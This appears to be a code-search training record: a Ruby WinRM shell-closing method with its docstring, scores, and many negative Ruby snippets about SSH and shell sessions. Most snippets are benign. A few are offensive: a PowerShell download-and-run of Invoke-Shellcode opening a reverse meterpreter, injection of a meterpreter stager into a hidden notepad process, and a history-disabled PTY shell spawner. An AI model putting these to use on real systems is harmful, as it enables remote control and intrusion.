"0.41316178",
"0.41219813",
"0.41151726",
"0.41126513",
"0.41103068",
"0.40989327",
"0.4089213",
"0.40476802",
"0.4023988",
"0.40209672",
"0.40017185",
"0.3993838",
"0.39684266",
"0.39658347",
"0.3961787",
"0.39452237",
"0.39381948",
"0.3913276",
"0.38908777",
"0.38712162",
"0.38652262",
"0.38586903",
"0.38553026",
"0.38529316",
"0.38529316",
"0.38270575",
"0.38240924",
"0.38173702",
"0.3809042",
"0.38079467",
"0.38063952",
"0.38063952",
"0.38063952",
"0.3800322",
"0.37839866",
"0.37809616",
"0.377599",
"0.37748504",
"0.37735555",
"0.37730807",
"0.3767424",
"0.3751428",
"0.37514183",
"0.37497544",
"0.3749689",
"0.37492245",
"0.374892",
"0.37444422",
"0.37416852",
"0.3732277",
"0.372834",
"0.37257385",
"0.3725451",
"0.3725364",
"0.3721763",
"0.37169385",
"0.3715157",
"0.3710963",
"0.37062028",
"0.37055874",
"0.37054807",
"0.37047288",
"0.37005606",
"0.36965948",
"0.36965275",
"0.368767",
"0.368767",
"0.36835477",
"0.36808524",
"0.36760488",
"0.36742944",
"0.367399",
"0.3673125",
"0.36711735",
"0.36680186",
"0.36675504",
"0.3666167"
] |
0.0
|
-1
|
Closes the open remote shell session. This method can be called multiple times, even if there is no open session.
|
def close
return if shell.nil?
service.close_shell(shell)
@shell = nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def close_ssh_session(session)\n session.close\n session = nil\n true\n end",
"def close\n @registry[:transport][:session].close if @open\n @open = false\n end",
"def close\n return if shell.nil?\n\n service.close_shell(shell)\n remove_finalizer\n @shell = nil\n end",
"def close\n ssh.close if @_ssh\n end",
"def close\n @logger.debug(@host) { 'Closing session' }\n @transport.close\n @transport = nil\n end",
"def close\n @repo.request_http(:post, path('session/close'),\n :expected_status_code => 204)\n end",
"def close\n log 'closing connection'\n @ssh.close\n end",
"def close_ssh\n puts \"Close connection\"\n @ssh.close unless @ssh.closed?\n end",
"def close\n @channel.close if @channel\n @channel = nil\n @ssh.close if @close_all and @ssh\n end",
"def shell_close()\n self.kill\n end",
"def logout!\n @ssh.close\n @ssh = nil\n end",
"def close\n shell.close! if open?\n buffer.flush\n buffer.reset\n end",
"def close\r\n unbind\r\n # try to stop eventmachine loop\r\n EM.stop rescue\r\n @on_close.call if @on_close\r\n WinRM::Log.debug(\":session => :close\")\r\n end",
"def disconnect\n @ssh.close if @ssh\n @ssh = nil\n end",
"def call(*)\n debug(\"[CommandExecutor] closing remote shell #{@shell_id} on #{@info}\")\n ::WinRM::WinRMWebService.new(*@args).close_shell(@shell_id)\n debug(\"[CommandExecutor] remote shell #{@shell_id} closed\")\n rescue => e\n debug(\"Exception: #{e.inspect}\")\n end",
"def close\n @net_ssh.close\n @net_ssh = nil\n end",
"def close()\n # If we don't have one we don't do anything\n return if !@is_scproxy or !self.has_session?\n\n # Send the call to the master\n response = self.proxy_close :port => @port, :master => true\n\n # Did we close it?\n if response[\"status\"] == true\n # Clear our session\n @port = nil\n else\n # Show an error\n raise response[\"message\"]\n end\n end",
"def close()\n #N Without this check, we'll be trying to close the connection even if there isn't one, or it was already closed\n if @connection != nil\n #N Without this we won't get feedback about the SSH connection being closed\n puts \"Closing SSH connection to #{user}@#{host} ...\"\n #N Without this the connection won't actually get closed\n @connection.close()\n #N Without this we won't know the connection has been closed, because a nil @connection represents \"no open connection\"\n @connection = nil\n end\n end",
"def close\n Timeout.timeout(3) { @connector.close }\n true\n rescue\n warn \"ssh connection could not be closed gracefully\"\n Metriks.meter('worker.vm.ssh.could_not_close').mark\n false\n ensure\n buffer.stop\n @buffer = nil\n end",
"def close_session\n @session.close unless @session.nil?\n @session = nil\n end",
"def shell_close(shell = nil)\n\t\traise NotImplementedError\n\tend",
"def close\n ensure_session!\n\n session.release!\n end",
"def close_connection\n current_connection.logout if current_connection?\n current_connection = nil\n end",
"def close_shell(shell = nil)\n\t\traise NotImplementedError\n\tend",
"def close\n @client.session.close unless @client.session.closed?\n end",
"def close\n SLPClose(@handle)\n end",
"def close_remote(port, host = \"127.0.0.1\") \r\n ensure_open! \r\n\r\n @session_mutex.synchronize do \r\n @session.forward.cancel_remote(port, host) \r\n end \r\n end",
"def close\n # Only one CLOSE request may be sent. Guard your close calls by\n # checking the value of {#closed?}\n raise DoubleCloseError if @closed\n\n # Send the CLOSE\n @session.blocking_call { @native_channel.close }\n\n # Mark that we closed\n @closed = true\n end",
"def close_remote(port, host = \"127.0.0.1\")\n ensure_open!\n\n @session_mutex.synchronize do\n @session.forward.cancel_remote(port, host)\n end\n end",
"def disconnect!\n @logger.info(\"Terminating SSH connection to server name=#{@name}\")\n @ssh.close\n @ssh = nil\n end",
"def shell_close()\n raise NotImplementedError\n end",
"def C_CloseSession()\n @pk.C_CloseSession(@sess)\n self\n end",
"def close\n if @state != :closed\n @log.debug \"closing sftp channel\" if @log.debug?\n @channel.close\n @state = :closed\n end\n end",
"def disconnect_ssh_tunnel\n @logger.debug('closing SSH tunnel..')\n\n @ssh.shutdown! unless @ssh.nil?\n @ssh = nil\n end",
"def close\n end_session\n if connected? && connection.CloseConnection.nil?\n @connected = false\n @connection = nil\n Connection.connections = Connection.connections - [self]\n end\n return !@connected # Returns false if CloseConnection failed.\n end",
"def close_session(status = 3000, message = \"Go away\")\n @status = :closing\n\n self.buffer.close(status, message)\n end",
"def disconnect\n self.remote.close\n end",
"def close\n return unless @session\n update\n @session = nil\n end",
"def close\n @session.connection.close\n end",
"def end_session\n if !@session.nil?\n connection.EndSession(@session)\n @session = nil\n true\n else\n false\n end\n end",
"def close\n @connection.close # Close the active mailbox\n @connection.logout # Send the logout command\n @connection.disconnect # Close the actual connection\n end",
"def stop\n @ssh.close if @ssh\n super.stop\n end",
"def close\n begin\n FileUtils.remove_entry_secure @dir\n lay_to_rest(@pid) if @pid\n @monitor.cleanup if @monitor\n ensure\n setvar 'SSH_AGENT_PID', @agentpid\n setvar 'DISPLAY', @display\n setvar 'SSH_ASKPASS', @askpass\n setvar 'SSH_AUTH_SOCK', @sshauth\n setvar 'HOME', @home\n end\n end",
"def close\r\n command 'close'\r\n end",
"def close\r\n command 'close'\r\n end",
"def close(context)\n context.debug('Logout connection')\n @connection_info = nil\n @client.logout\n @client = nil\n @system = nil\n end",
"def exit_session\n @window.dispose\n @viewport.dispose\n ShellOptions.save\n end",
"def close!\n @controller.close! if @controller\n FFI::NCurses.endwin\n Process.exit!\n end",
"def disconnect\n begin\n @log.info \"Closing '#{@username}' session\"\n @client.close\n @log.info \"Session closed\"\n rescue\n @log.error \"Error disconnecting '#{@username}': #{$!}\"\n end\n end",
"def close\n Wrapper.Quit(@native_manager) if @native_manager\n ensure\n @native_manager = nil\n end",
"def dispose\n return if @_disposed\n\n @_disposed = true\n Util.release_object client, remote_object if remote_object[\"objectId\"]\n nil\n end",
"def closed?\n\t\treturn @ssh_session.nil? || @ssh_session.closed?\n\tend",
"def close\n flush rescue nil\n sysclose\n end",
"def close_connection\n @connection.expunge\n @connection.logout\n @connection.disconnect\n end",
"def close_and_shutdown\n handle_action_exceptions(__method__) do\n unload_toolshck\n shutdown\n unload_winrm_ps\n logger('debug', 'close') { 'done!' }\n @closed = true\n @json ? { 'result' => 'Success' } : true\n end\n end",
"def close\n close_connection(CLOSED, true)\n end",
"def close()\n @connection.disconnect\n @connection = nil\n end",
"def session_close\n begin\n auth.globals[:headers]['Cookie'] = \"SID=\\\"#{session_id}\\\"\"\n auth.call(:close_session)\n rescue Savon::SOAPFault => e\n # Savon::SOAPFault: (soap:Server) No matches returned for SessionID\n logger.warn(e.inspect)\n end\n session_reset\n end",
"def quit\n session.connection.close\n end",
"def close\n return if closed?\n\n nocbreak\n close_screen\n end",
"def disconnect\n _logout\n @connection.close\n end",
"def close \n begin\n @socket.close\n rescue IOError\n end\n Client.del_socket conn_id()\n true\n end",
"def close\n conn.write(\"(api-quit)\") if connected?\n rescue Errno::ECONNRESET\n ensure\n self.conn = nil\n end",
"def closeConnections()\n #N Without this, the connections won't be closed\n @sshAndScp.close()\n end",
"def cleanup\n return if @cleanup\n\n @cleanup = true\n if rstream\n if !@cleanup_command.blank?\n # this is a best effort, since the session is possibly already dead\n shell_command_token(@cleanup_command) rescue nil\n\n # we should only ever cleanup once\n @cleanup_command = nil\n end\n\n # this is also a best-effort\n rstream.close rescue nil\n rstream = nil\n end\n super\n end",
"def closeConnections\n #N Without this, cached SSH connections to the remote system won't get closed\n destinationLocation.closeConnections()\n end",
"def close\n if @session\n @session.update_session(marshalize(@data))\n @session = nil\n end\n end",
"def close_remote_srv_conn\n if @socket_srv\n @socket_srv.close\n @log.debug \"close_remote_srv_conn requested\"\n @cup_gui.log_sometext \"Bye, connessione col server terminata\\n\"\n @rd_sock_thread.join\n @socket_srv = nil\n end\n rescue => detail\n @log.error \"Server connection error (#{$!})\\n\"\n @log.error detail.backtrace.join(\"\\n\")\n ensure\n @socket_srv = nil \n end",
"def logout\n if @login_meth.to_s.start_with? 'slave_local'\n _do_call('session.local_logout', [@session])\n else\n _do_call('session.logout', [@session])\n end\n rescue\n # We don't care about any error. If it works: great, if not: shit happens...\n nil\n ensure\n @session = ''\n @login_meth = nil\n @login_args = []\n @api_version = nil\n end",
"def close!\n\n\t @connected = false\n\t return nil\n\n\tend",
"def disconnect\n unless @server.nil?\n @server.cmd \"quit\"\n @server.close\n end\n @authenticated = false\n @server = nil\n end",
"def close()\n\t\t@connection.disconnect\n\t\t@connection = nil\n\tend",
"def close_console\n self.destroy\n end",
"def close()\r\n #puts \"current window number is : #{@@current_window}\"\r\n # Derek Berner 5/16/08\r\n # Try to join thread only if there is exactly one open window\r\n if js_eval(\"getWindows().length\").to_i == 1\r\n $jssh_socket.send(\" getWindows()[0].close(); \\n\", 0)\r\n @t.join if @t != nil\r\n #sleep 5\r\n else\r\n # Check if window exists, because there may be the case that it has been closed by click event on some element.\r\n # For e.g: Close Button, Close this Window link etc.\r\n window_number = find_window(\"url\", @window_url)\r\n\r\n # If matching window found. Close the window.\r\n if(window_number > 0)\r\n $jssh_socket.send(\" getWindows()[#{window_number}].close();\\n\", 0)\r\n read_socket();\r\n end \r\n \r\n #Get the parent window url from the stack and return that window.\r\n #@@current_window = @@window_stack.pop()\r\n @window_url = @@window_stack.pop()\r\n @window_title = @@window_stack.pop()\r\n # Find window with this url.\r\n window_number = find_window(\"url\", @window_url)\r\n @@current_window = window_number\r\n set_browser_document()\r\n end\r\n end",
"def logout\n close_session\n end",
"def close()\n @connected = false\n @my.close()\n @my = nil\n end",
"def close\n inactive!\n close_connections\n end",
"def kill_session\n @authenticator.kill_session\n @session = ''\n end",
"def close\n log \"Closing this request\"\n delete_sftp_files\n update_attribute(:ftp_password, nil)\n update_attribute(:closed_at, Time.now)\n end",
"def disconnect\n raise \"Not connected. did you forget to call connect?\" unless @_socket\n @_socket.close\n @_socket = nil\n print \"Disconnected\\n\" if @_verbose\n EtherShell::ShellDsl.nothing\n end",
"def close()\n if isConnected()\n if @sentConnect\n @sentConnect = false # set in connect()\n @signedOn=false # set in signOn() inside connect()\n bye = VistaRPC.new(\"#BYE#\", RPCResponse::SINGLE_VALUE, true)\n retval = execute(bye)\n @socket.close()\n @socket = nil\n @duz = \"0\"\n @lastvistaerror = nil\n @currentContext = nil\n return retval\n end\n end\n end",
"def close\n @channel.close\n @connection.close\n end",
"def close\n tagged_response(\"CLOSE\")\n end",
"def close\n @channel.close\n @conn.close\n end",
"def close\n session = Session.find_by(id: params[:id])\n session.update(active: false)\n end",
"def disconnect\n info 'closing connection to host'\n @connected = false\n end",
"def closeServer()\n com = Sumo::Traci::Command_Close.new() ;\n execCommands(com) ;\n close() ;\n end",
"def disconnect\n command 'QUIT' do\n begin\n response 221\n ensure\n close\n end\n end\n end",
"def close\n @log.info { \"Closing connection to client #{@ip}\" }\n @socket.close\n end",
"def close_session(s)\n @sessions.delete(s)\n end",
"def close\n statement = \"close #{@name}\"\n @connection.exec(statement)\n end",
"def close(ctx = nil)\n unless ctx.nil?\n peer = Wrapper::dtls_get_peer(ctx.to_ffi, @session)\n Wrapper::dtls_reset_peer(ctx.to_ffi, peer) unless peer.null?\n end\n\n Wrapper::dtls_free_session(@session)\n @session = nil\n end",
"def close(server,purge=true)\n if(purge)\n #\n # If connention is active, do logout before close.\n #\n if(@connector.alive?(server))\n self.cmnd_quit(server)\n end\n end\n \n @connector.close(server,purge)\n end",
"def close\n Native.close == 1\n end",
"def close()\r\n _dprint(\"Closing Auth_WiKID connection ...\")\r\n unless $sslsocket.nil?\r\n unless $sslsocket.closed?\r\n $sslsocket.puts(\"QUIT\");\r\n $sslsocket.flush\r\n $sslsocket.close\r\n end\r\n $sslsocket = nil\r\n @socket.shutdown\r\n end\r\n @isConnected = false\r\n end",
"def close\n @closing = true\n cancel_ping_timer\n cancel_reconnect_timer\n close_connection_after_writing if connected?\n process_disconnect if reconnecting?\n end",
"def quit!\n command \"quit\" if alive?\n ensure\n @alive = false\n @socket = nil\n File.delete(@socket_path) if File.exist?(@socket_path)\n end",
"def game_close\n @console_delegate.close\n end",
"def close\n if connected? && @soap_client\n @soap_client.EndSession(@ticket)\n @soap_client.CloseConnection\n @soap_client = nil\n @ticket = nil\n end \n end",
"def gets_close\n script.gets_channel_close(self)\n end"
] |
[
"0.71057767",
"0.6981516",
"0.6890663",
"0.6773836",
"0.6758684",
"0.6731146",
"0.6715928",
"0.66963744",
"0.667177",
"0.6646758",
"0.66439974",
"0.65966713",
"0.6543056",
"0.65326804",
"0.6523264",
"0.65212005",
"0.64516383",
"0.6413949",
"0.63993376",
"0.6396554",
"0.6389089",
"0.63694865",
"0.6291832",
"0.6284303",
"0.6276038",
"0.62676424",
"0.6255776",
"0.6252306",
"0.62242514",
"0.62105274",
"0.61890626",
"0.61778444",
"0.6158347",
"0.6153609",
"0.61119944",
"0.6102487",
"0.6072081",
"0.6056053",
"0.60307217",
"0.5985107",
"0.5968257",
"0.59663695",
"0.5927813",
"0.5894317",
"0.5894317",
"0.5864198",
"0.58636415",
"0.584734",
"0.5800742",
"0.57916874",
"0.57794595",
"0.573536",
"0.5704543",
"0.56921375",
"0.56875867",
"0.56855714",
"0.5662031",
"0.5660835",
"0.5651262",
"0.5635133",
"0.5632991",
"0.56326383",
"0.5625462",
"0.56160015",
"0.5599446",
"0.5593802",
"0.5576048",
"0.5563419",
"0.55588955",
"0.5555022",
"0.55516654",
"0.5550809",
"0.5548085",
"0.5538693",
"0.5529471",
"0.5523595",
"0.5512554",
"0.5484568",
"0.54845214",
"0.5482445",
"0.5473793",
"0.5468805",
"0.54674387",
"0.54660875",
"0.54600596",
"0.5459876",
"0.54545784",
"0.54452896",
"0.54336053",
"0.5410047",
"0.53989184",
"0.5379146",
"0.5374527",
"0.53735656",
"0.53532",
"0.5346437",
"0.5331481",
"0.53303736",
"0.5328981",
"0.53236073"
] |
0.69855636
|
1
|
Opens a remote shell session for reuse. The maxiumum commandpershell threshold is also determined the first time this method is invoked and cached for later invocations.
|
def open
close
@shell = service.open_shell
@command_count = 0
determine_max_commands unless max_commands
shell
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def open\n close\n retryable(service.retry_limit, service.retry_delay) do\n @shell = service.open_shell(codepage: code_page)\n end\n add_finalizer(shell)\n @command_count = 0\n shell\n end",
"def request_shell\n @state = :shell\n @channel.send_request \"shell\", nil, true\n end",
"def reset\n service.logger.debug(\"Resetting WinRM shell (Max command limit is #{max_commands})\")\n open\n end",
"def open_shell()\n\t\traise NotImplementedError\n\tend",
"def open_session(iter)\n Msf::Ui::Gtk2::Console::Shell.new(iter)\n end",
"def reset\n debug {\n \"Resetting WinRM shell (Max command limit is #{max_commands})\"\n }\n open\n end",
"def startShell(mnopts=nil)\n \"Start a shell process for running commands\"\n if @shell\n error(\"%s: shell is already running\\n\" % @name)\n return\n end \n\n # mnexec: (c)lose descriptors, (d)etach from tty,\n # (p)rint pid, and run in (n)amespace\n if !mnopts\n opts='-cd'\n else\n opts=mnopts \n end \n #opts = '-cd' if !mnopts else mnopts\n if @inNamespace\n opts += 'n'\n end \n # bash -i: force interactive\n # -s: pass $* to shell, and make process easy to find in ps\n # prompt is set to sentinel chr( 127 )\n cmd = ['mnexec', opts, 'env', 'PS1=' + 127.chr,\n 'bash', '--norc', '-is', 'mininet:' + @name]\n # Spawn a shell subprocess in a pseudo-tty, to disable buffering\n # in the subprocess and insulate it from signals (e.g. SIGINT)\n # received by the parent\n master, slave = PTY.open\n #master=IO.try_convert(master) \n @shell = _popen(cmd, stdin=slave, stdout=slave, stderr=slave,\n close_fds=false)\n puts @shell\n #master=master.to_s\n @stdin = File.new(master.fileno, \"r+\")\n puts @stdin\n #@stdin = os.fdopen( master, 'rw' )\n @stdout = @stdin\n @pid = @shell.pid\n #@pollOut = select.poll()\n\n #@pollOut.register( @stdout )\n # Maintain mapping between file descriptors and nodes\n # This is useful for monitoring multiple nodes\n # using select.poll()\n @@outToNode[@stdout.fileno()] = self\n @@inToNode[@stdin.fileno()] = self\n @execed = false\n @lastCmd = nil\n @lastPid = nil\n @readbuf = ''\n cmd('unset HISTFILE; stty -echo; set +m')\n end",
"def open( options={} )\n pty_opts = options[:pty]\n\n @shell_factory.call( pty_opts )\n end",
"def unelevated_session(retry_options = {})\n @unelevated_session ||= connection(retry_options).shell(:powershell)\n end",
"def dup_ssh(&block)\n Snapsync.debug \"Opening new ssh session: \"+uri.to_s\n Net::SSH.start(uri.host, uri.user, password: uri.password, non_interactive: true, &block)\n end",
"def with_shell_instance(&blk)\n no_current = @current.nil?\n if no_current\n @current = Open3.popen3(self.shell_executable)\n invoke_setup!\n end\n yield\n ensure\n @current = nil if no_current\n end",
"def open\n ENV['SSH_ASKPASS'] = File.expand_path(File.join(File.dirname(__FILE__),\n '..', '..', '..',\n 'scripts',\n 'stub_ssh_askpass'))\n ENV['HOME'] = \"/dev/null\"\n @dir = Dir.mktmpdir\n @socketfile = File.join(@dir, \"agent\")\n @monitor = ProcessWatcher::ProcessMonitor.new\n @pid = @monitor.spawn('ssh-agent', '-a', @socketfile, '-d') {}\n timeout = 0\n until File.exists?(@socketfile)\n timeout += 1\n sleep 0.1\n if timeout > 100\n raise \"Couldn't find SSH agent control socket in time. Timing out\"\n end\n end\n ENV['SSH_AGENT_PID'] = @pid.to_s\n ENV['SSH_AUTH_SOCK'] = @socketfile\n end",
"def ext_local_shell\n @cobj.rem.sys.add_empty\n @cfg[:output] = @stat\n ___init_sh_procs\n @cobj.loc.add_shell\n @cobj.loc.add_jump\n self\n end",
"def new_session\n # disable autocorrect (oh-my-zsh)\n shell_write(\"unsetopt correct_all; unsetopt correct\\n\")\n # fixing oh-my-zsh themes\n shell_write(\"PROMPT='$ '\\n\")\n # fixing issues with ZSH syntax highlighting (not very common)\n shell_write(\"unset ZSH_HIGHLIGHT_HIGHLIGHTERS\\n\")\n # fixing issues with exotic ZSH prompts\n shell_write(\"prompt off\\n\")\n ###\n\n # disable bash completetion\n shell_write(\"complete -r\\n\")\n # enter\n shell_write(\"\\n\")\n # second enter\n shell_write(\"\\n\")\n #############\n # new_session_start\n rstream.flush\n end",
"def init_ssh_session\n @ssh_session.close if !(@ssh_session.nil? or !@ssh_session.closed?)\n ssh_opts = ssh_connection_options\n @log.info(\"Opening ssh connection to #{ssh_opts[:host]} as user #{ssh_opts[:user]}\")\n @ssh_session = ::Net::SSH.start(ssh_opts[:host], ssh_opts[:user])\n return @ssh_session\n end",
"def with_shell_instance(&blk)\n no_current = @current.nil?\n if no_current\n Chef::Log.debug(\"RVM::Shell::ChefWrapper subprocess executing with \" +\n \"environment of: [#{shell_params.inspect}].\")\n @current = popen4(self.shell_executable, shell_params)\n invoke_setup!\n end\n yield\n ensure\n @current = nil if no_current\n end",
"def with_shell_instance(&blk)\n no_current = @current.nil?\n if no_current\n Chef::Log.debug(\"RVM::Shell::ChefWrapper subprocess executing with \" +\n \"environment of: [#{shell_params.inspect}].\")\n @current = popen4(self.shell_executable, shell_params)\n invoke_setup!\n end\n yield\n ensure\n @current = nil if no_current\n end",
"def create_ssh_session\n return Net::SSH.start(JUMPSRV_NMC, JUMPSRV_NMC_USER, password: JUMPSRV_NMC_PW, timeout: 40) # verbose: :info,\n end",
"def ssh_session\n retry_flag=true\n @log.debug \"ssh is #{@config['ssh'].inspect}\"\n ssh_config = @config['ssh'].clone\n host = ssh_config['host']\n ssh_config.delete('host')\n user = ssh_config['user']\n ssh_config.delete('user')\n # Convert strings to symbols..\n ssh_config = ssh_config.inject({}){|memo,(k,v)| memo[k.to_sym] = v; memo}\n ssh_config[:port] = @vm_ssh_port\n begin\n Net::SSH.start(host,user,ssh_config) do |session|\n yield session\n end\n rescue EOFError => e\n raise(e) unless retry_flag\n retry_flag = false\n @log.info \"SSH session creation failed, retrying!\"\n retry\n end\n end",
"def ready_to_open_host_session\n @local_serial = false # default for host\n load_prompt_file # prompt regexp of device\n spawn_cmd = make_spawn_command\n if @prompt && spawn_cmd\n yield spawn_cmd\n else\n @logger.error 'Invalid parameter in param file(S)'\n end\n end",
"def session\n @session ||= Ssh::Session.new(name,\n :host => '127.0.0.1',\n :port => ssh_port,\n :username => ENV.fetch(\"TRAVIS_CI_ENV_USERNAME\", 'travis'),\n :private_key_path => File.expand_path('keys/vagrant'),\n :buffer => Travis::Worker.config.shell.buffer,\n :timeouts => Travis::Worker.config.timeouts\n )\n end",
"def init_shell()\n\t\traise NotImplementedError\n\tend",
"def command_exec(session,lhost,lport)\n print_status(\"Running Invoke-Shellcode, Please wait 4-7 seconds.\")\n r=''\n begin\n r = session.sys.process.execute(\"C:\\\\WINDOWS\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -Command iex(New-Object Net.WebClient).DownloadString('http://URLHERE');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost #{lhost} -Lport #{lport} -Force\", nil, {'Hidden' => true, 'Channelized' => true})\n r.channel.close\n r.close\n rescue ::Exception => e\n print_error(\"Error Running Invoke-Shellcode, Sounds like a problem between the keyboard and the monitor.....: #{e.class} #{e}\")\n end\nend",
"def request_channel_pty_shell\n channel = @ssh.open_channel do |channel|\n request_pty(channel)\n request_shell(channel)\n register_callbacks(channel)\n end\n @logger.debug(\"[Expect::SSH##{__method__}] complete\")\n channel\n end",
"def run_command_for_host\n ready_to_open_host_session do |spawn_cmd|\n open_interactive_process(spawn_cmd) do\n before_run_command\n run_command\n end\n end\n end",
"def open_session\n if @session == nil || @session.closed?\n @status = :normal\n @session = Showoff::Setup.prepare(@provided_key)\n @channel = @session.open_channel do |channel|\n channel.exec(\"api -v #{Showoff::VERSION}\") do |ch, success|\n unless success\n puts \"\\nShowoff is currently experiencing difficulties. If this persists, let us know at support@showoff.io\"\n Process.exit\n end\n @dormant = true\n ch.on_eof do |ch|\n if @status == :executing\n puts \"\\nShowoff was unable to process your request. If this persists, let us know at support@showoff.io\"\n Process.exit\n elsif @status != :normal && @status != :closing\n puts \"\\nShowoff has encountered an error and needs to close. If this persists, let us know at support@showoff.io\"\n Process.exit\n else\n print \"\\n\"\n Process.exit\n end\n end\n end\n\n channel.on_close do |channel|\n print \"\\n\"\n Process.exit\n end\n end\n end\n end",
"def ext_local_shell\n super\n verbose { 'Initiate Mcr Shell' }\n ___init_stat\n ___init_procs\n ___init_conv\n ___init_recview_cmd\n ___init_rank_cmd(@cobj.loc.add_view)\n self\n end",
"def open_session\n positions = YAML::load(File.read(SESSION_FILE))\n\n @first_window = true\n @level = -1\n @dirs = [\"open_split\", \"open_v_split\"]\n\n open_windows(positions, @dirs[@level % 2])\n end",
"def start_session\n ssh_opts = filter_ssh_options(options)\n @ssh = Net::SSH.start(options[:hostname], options[:username], ssh_opts)\n rescue Net::SSH::Disconnect\n retry_count = retry_count.to_i + 1\n sleep 30 and retry if retry_count < 5\n raise(SSHCannotConnect, Errstr::CANNOT_CONNECT % options[:hostname])\n end",
"def shell_open()\n\t\traise NotImplementedError\n\tend",
"def connect(silent = false)\n info \"starting ssh session to #{config.host}:#{config.port} ...\" unless silent\n options = { :port => config.port, :keys => [config.private_key_path] }\n @shell = Net::SSH.start(config.host, config.username, options).shell\n end",
"def open_session; end",
"def open(&block)\n\t\tif @ssh_session && !@ssh_session.closed? then\n\t\t\t@@logger.warn(\"trying to open an already opened ssh connection\")\n\t\t\traise \"trying to open an already opened ssh connection\"\n\t\tend\n\t\t\n\t\t@@logger.info(\"opening ssh connection with parameters: \" + @parameters.to_s)\n\t\n\t\tparameters = @parameters.clone()\n\t\thost = @parameters[:host]\n\t\tuser = @parameters[:user]\n\t\t\n\t\tparameters.delete(:host)\n\t\tparameters.delete(:user)\n\t\t\n\t\tif @parameters[:keys] then\n\t\t\t@@logger.info(\"Starting SSH session with public key authentication\")\n\t\telsif @parameters[:key_data] then\n\t\t\t@@logger.info(\"Starting SSH session with public key authentication\")\n\t\telsif @parameters[:password] then\n\t\t\t@@logger.info(\"Starting SSH session with password authentication\")\n\t\telse\n\t\t\t@@logger.error(\"No SSH authentication method found in parameters\")\n\t\t\traise \"No authentication method found\"\n\t\tend\n\n\t\tconnected = false\n\t\ttrials = 5\n\t\twhile !connected and trials > 0\n\t\t\tbegin\n\t\t\t\t@ssh_session = Net::SSH.start(host, user, parameters)\n\t\t\t\tconnected = true\n\t\t\trescue Exception => e\n\t\t\t\t@@logger.warn(\"connection attempt failed due to #{e.backtrace}\")\n\t\t\tend\n\t\t\ttrials -= 1\n\t\t\tif !connected\n\t\t\t\tsleep(20)\n\t\t\tend\n\t\tend\n\t\n\t\tif block then\n\t\t\tyield self\n\t\t\tclose\n\t\tend\n\tend",
"def shell(reason = nil, username_or_credential = nil)\n if username_or_credential && username_or_credential.respond_to?(:to_str)\n credential = ssh_credential_for username_or_credential\n else\n credential = username_or_credential || ssh_credentials.first\n end\n # TODO(pwnall): loop through all addresses until one works\n address = net_addresses.first\n \n ShellSession.ssh address, credential, reason\n end",
"def pty_shell(sh_path)\n sh_path = client.fs.file.exist?(sh_path) ? sh_path : '/bin/sh'\n\n # Python Meterpreter calls pty.openpty() - No need for other methods\n if client.arch == 'python'\n cmd_execute('-f', sh_path, '-c', '-i')\n return true\n end\n\n # Check for the following in /usr{,/local}/bin:\n # script\n # python{,2,3}\n # socat\n # expect\n paths = %w[\n /usr/bin/script\n /usr/bin/python\n /usr/local/bin/python\n /usr/bin/python2\n /usr/local/bin/python2\n /usr/bin/python3\n /usr/local/bin/python3\n /usr/bin/socat\n /usr/local/bin/socat\n /usr/bin/expect\n /usr/local/bin/expect\n ]\n\n # Select method for spawning PTY Shell based on availability on the target.\n path = paths.find { |p| client.fs.file.exist?(p) }\n\n return false unless path\n\n # Commands for methods\n cmd =\n case path\n when /script/\n if client.platform == 'linux'\n \"#{path} -qc #{sh_path} /dev/null\"\n else\n # script(1) invocation for BSD, OS X, etc.\n \"#{path} -q /dev/null #{sh_path}\"\n end\n when /python/\n \"#{path} -c 'import pty; pty.spawn(\\\"#{sh_path}\\\")'\"\n when /socat/\n # sigint isn't passed through yet\n \"#{path} - exec:#{sh_path},pty,sane,setsid,sigint,stderr\"\n when /expect/\n \"#{path} -c 'spawn #{sh_path}; interact'\"\n end\n\n # \"env TERM=xterm\" provides colors, \"clear\" command, etc. as available on the target.\n cmd.prepend('env TERM=xterm HISTFILE= ')\n\n print_status(cmd)\n cmd_execute('-f', cmd, '-c', '-i')\n\n true\n end",
"def duplicate_session\n\t\trhost = Rex::Socket.source_address(\"1.2.3.4\")\n\t\trport = 443\n\t\tlhost = \"127.0.0.1\"\n\t\tspawn = false\n\t\tautoconn = true\n\t\tinject = true\n\t\ttarget_pid = nil\n\t\ttarget = \"notepad.exe\"\n\t\tpay = nil\n\n\t\tprint_status(\"Creating a reverse meterpreter stager: LHOST=#{rhost} LPORT=#{rport}\")\n\t\tpayload = \"windows/meterpreter/reverse_tcp\"\n\t\tpay = client.framework.payloads.create(payload)\n\t\tpay.datastore['LHOST'] = rhost\n\t\tpay.datastore['LPORT'] = rport\n\t\tmul = client.framework.exploits.create(\"multi/handler\")\n\t\tmul.share_datastore(pay.datastore)\n\t\tmul.datastore['WORKSPACE'] = client.workspace\n\t\tmul.datastore['PAYLOAD'] = payload\n\t\tmul.datastore['EXITFUNC'] = 'process'\n\t\tmul.datastore['ExitOnSession'] = true\n\t\tprint_status(\"Running payload handler\")\n\t\tmul.exploit_simple(\n\t\t'Payload' => mul.datastore['PAYLOAD'],\n\t\t'RunAsJob' => true\n\t)\n\n\tnote = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })\n\ttarget_pid = note.pid\n\t# Do the duplication\n\tprint_status(\"Injecting meterpreter into process ID #{target_pid}\")\n\thost_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)\n\traw = pay.generate\n\tmem = host_process.memory.allocate(raw.length + (raw.length % 1024))\n\tprint_status(\"Allocated memory at address #{\"0x%.8x\" % mem}, for #{raw.length} byte stager\")\n\tprint_status(\"Writing the stager into memory...\")\n\thost_process.memory.write(mem, raw)\n\thost_process.thread.create(mem, 0)\n\tprint_status(\"New server process: #{target_pid}\")\n\n\tend",
"def open_session_with_login\n $system_config ||= load_config(@@SERVER_CONFIG_PATH)\n url = \"#{$system_config.protocol}://#{$system_config.host}:#{$system_config.port}\"\n Util.open_session(url)\n Util.login($system_config.user, $system_config.password)\n end",
